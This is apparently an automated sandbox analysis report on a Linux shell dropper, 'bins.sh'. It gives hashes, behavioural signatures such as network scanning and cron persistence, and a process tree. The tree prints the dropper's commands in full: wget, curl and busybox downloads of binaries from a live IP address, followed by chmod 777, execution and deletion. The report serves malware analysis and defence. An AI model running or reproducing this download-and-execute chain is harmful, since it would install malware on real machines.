Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 13:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    db199d59ba08e033c581aecba2219c42

  • SHA1

    469f462f64f7554cfb806ffec3c825e6b2d2cd61

  • SHA256

    483b8ef88573fcd07bcbebbd9493eb7821f86e77cd499adcb534b5f9fee9f5f3

  • SHA512

    03ca54d3480cdd7c3a98c177eb51675650624e33bb1bc55876c3eb44ab24749530df58c439a1f1dc88d62cb6d2b12b4ea885ac0e896d0aa747f86a2a5959a04c

  • SSDEEP

    192:nSWLaKmTJJo+oMYFCi/AJZwn7mCMYFCikJZwn7XSWLaKTL:QTJJo+eKyL

Malware Config

Signatures

  • Contacts a large (2132) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:1484
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:1493
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:1495
          • /usr/bin/wget
            wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:1507
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:1508
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:1510
            • /usr/bin/wget
              wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:1511
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:1514
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              PID:1515
            • /bin/rm
              rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
                PID:1517
              • /usr/bin/wget
                wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/chmod
                chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • File and Directory Permissions Modification
                PID:1521
              • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                • Executes dropped EXE
                PID:1522
              • /bin/rm
                rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                2⤵
                  PID:1524
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  2⤵
                  • Writes file to tmp directory
                  PID:1525
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/chmod
                  chmod 777 e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1528
                • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  ./e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1529
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1531
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1532
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1533
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1534
                      • /bin/rm
                        rm e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                        2⤵
                          PID:1536
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                          2⤵
                            PID:1539

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.Py8Lgj

                          Filesize

                          210B

                          MD5

                          630851cf196eda080ac4c3d31e2750ae

                          SHA1

                          86512ebbe06a74e7163cda850adc0bfdcee05292

                          SHA256

                          fe0f3dc1569a2719f13caf0c49ffaefa05bad8376caab32a76a2742ad71391bf

                          SHA512

                          d5bbeaeea1ef590126e3b65877659d5bb4cb65bf9e6f3638dcbb67575585c97c7b2271c1e879c3a84281635e7420b0bfd6e873acbcaa094df573f62527964332